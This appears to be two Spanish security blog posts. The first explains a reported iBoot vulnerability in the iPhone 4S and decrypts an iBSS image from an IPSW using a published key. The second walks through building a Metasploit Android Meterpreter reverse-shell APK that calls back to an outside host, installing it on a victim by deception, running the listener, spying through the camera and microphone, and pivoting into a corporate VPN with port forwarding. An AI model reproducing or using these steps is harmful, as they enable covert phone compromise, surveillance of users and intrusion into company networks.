Vulnerabilidad en el iBoot de iPhone 4S

Hace unos pocos días pudimos ver en Twitter como un conocido Jailbreaker, iH8sn0w, comentaba haber encontrado una vulnerabilidad en los dispositivos con procesador A5 de Apple (iPhone 4S, por ejemplo). 

Según sus propias palabras, la vulnerabilidad se encontraría en el iBoot, una de las partes del arranque de los dispositivos de Apple que se ejecuta previamente a la ejecución del kernel del sistema operativo iOS. 

El arranque de un dispositivo iOS se realiza mediante la llamada "Secure Boot Chain", en la que cada etapa realiza sus acciones pertinentes y comprueba la firma de la siguiente etapa antes de otorgarle el control. 

La primera etapa de todas, el bootrom, se escribe en el dispositivo en el momento del ensamblaje, y no puede ser cambiada ni actualizada en toda la vida del mismo. Las vulnerabilidades en alguno de estos elementos del arranque, o en el propio kernel, permitirían evadir esta protección de la firma, y por lo tanto arrancar versiones modificadas del kernel, que es en lo que consiste un Jailbreak. 

No obstante, a pesar de que el propio iH8sn0w comenta que, a partir de ahora, los dispositivos A5 son "Jailbreakeables" de por vida, a priori únicamente las vulnerabilidades en el bootrom serían de este tipo, ya que al estar embebido en el propio hardware es el único elemento que no puede ser actualizado por Apple. El iBoot, elemento en el que parece existir la vulnerabilidad, se encuentra dentro de la imagen del sistema operativo iOS que descargamos en el momento de realizar una actualización, dentro del fichero IPSW, por lo que Apple podría corregir la vulnerabilidad en próximas releases. 

Dado que los detalles de la vulnerabilidad aún no han sido publicados y todavía no podemos ponernos a jugar con ella, vamos a descargar el IPSW de una versión vulnerable y a intentar extraer la imagen del iBoot. Para ello lo primero que vamos a hacer es descargar la imagen con la que vamos a trabajar, por ejemplo la versión 7.0.4 para iPhone 4S, de la conocida web ipswdownloader.com.

El fichero IPSW no es más que un ZIP al que se le ha cambiado la extensión, pero sus ficheros se encuentran cifrados mediante el algoritmo AES, empleando claves a priori desconocidas. Veamoslo: 

$ file iPhone4,1_7.0.4_11B554a_Restore.ipsw 

iPhone4,1_7.0.4_11B554a_Restore.ipsw: Zip archive data, at least v2.0 to extract 

$ unzip iPhone4,1_7.0.4_11B554a_Restore.ipsw 

Archive: iPhone4,1_7.0.4_11B554a_Restore.ipsw 

inflating: 058-1077-002.dmg 

inflating: 058-1108-002.dmg 

inflating: 058-1124-002.dmg 

inflating: BuildManifest.plist 

creating: Firmware/ 

creating: Firmware/all_flash/ 

creating: Firmware/all_flash/all_flash.n94ap.production/ 

inflating: Firmware/all_flash/all_flash.n94ap.production/applelogo@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/batterycharging0@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/batterycharging1@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/batteryfull@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/batterylow0@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/batterylow1@2x~iphone.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/DeviceTree.n94ap.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/glyphplugin@2x~iphone-30pin.s5l8940x.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/iBoot.n94ap.RELEASE.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/LLB.n94ap.RELEASE.img3 

inflating: Firmware/all_flash/all_flash.n94ap.production/manifest 

inflating: Firmware/all_flash/all_flash.n94ap.production/recoverymode@2x~iphone-30pin.s5l8940x.img3 

creating: Firmware/dfu/ 

inflating: Firmware/dfu/iBEC.n94ap.RELEASE.dfu 

inflating: Firmware/dfu/iBSS.n94ap.RELEASE.dfu 

inflating: Firmware/Trek-5.0.02.Release.bbfw 

inflating: Firmware/Trek-5.0.02.Release.plist 

creating: Firmware/usr/ 

creating: Firmware/usr/local/ 

creating: Firmware/usr/local/standalone/ 

inflating: kernelcache.release.n94 

inflating: Restore.plist 

$ srch_strings Firmware/dfu/iBSS.n94ap.RELEASE.dfu | head -10 

3gmI 

ssbiEPYT 

ssbi 

ATAD 

jnZf 

UZ^_ 

[...] 

Como podemos ver, el formato de los ficheros no es reconocido, debido a que su contenido está cifrado. A pesar de que la clave de cifrado no se publica por Apple, los Jailbreakers las obtienen como parte de su trabajo de investigación, y van publicando aquellas que identifican, por ejemplo, en el iPhoneWiki. 

En este caso, el propio iH8sn0w ha colgado en su Twitter una de las claves que ha encontrado durante su trabajo: 

Con esta información ya podemos extraer las imágenes del IPSW que acabamos de descargar. Imagino que podríamos hacerlo a mano con openssl, pero yo he preferido usar una versión modificada del script "kernel_patcher.py" de la suite iphone-dataprotection (que podéis descargar de AQUI). 

Básicamente, en script es el mismo que el original pero eliminando las acciones de parcheo del kernel, dejando las imágenes tal cual se encuentran dentro del IPSW. Veamos si funciona: 

$ ./ipsw_decrypt.py --iv 3a0fc879691a5a359973792bcd367277 --key 371e3aea9121d90b8106228bf2b5ee4c638a0b4837fefbd87a3c0aca646e5996 --binary iBSS iPhone4,1_7.0.4_11B554a_Restore.ipsw 

Decrypting iBSS.n94ap.RELEASE.dfu 

Decrypted kernel written to iBSS.n94ap.RELEASE.dfu.decrypt 

Parece que todo ha funcionado bien, así que solo nos queda ver si efectivamente lo que hay dentro tiene pinta de iBSS: 

$ srch_strings iBSS.n94ap.RELEASE.dfu.decrypt 

iBSS for n94ap, Copyright 2013, Apple Inc. 

RELEASE 

iBoot-1940.3.5 

[...] 

Pues... todo apunta a que sí. Lamentablemente cada imagen está cifrada con una clave diferente y no podemos utilizar esta misma clave para descifrar el iBoot y ponernos a mirar, así que por el momento habrá que esperar a ver si son publicados más detalles sobre la vulnerabilidad.

Nuevo Meterpreter para Android

Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.

Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.

Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[...]

 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java

La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)

¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk

Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk 
meter.apk: Zip archive data, at least v2.0 to extract

Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.

$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E

Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.

Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.

Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80

Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.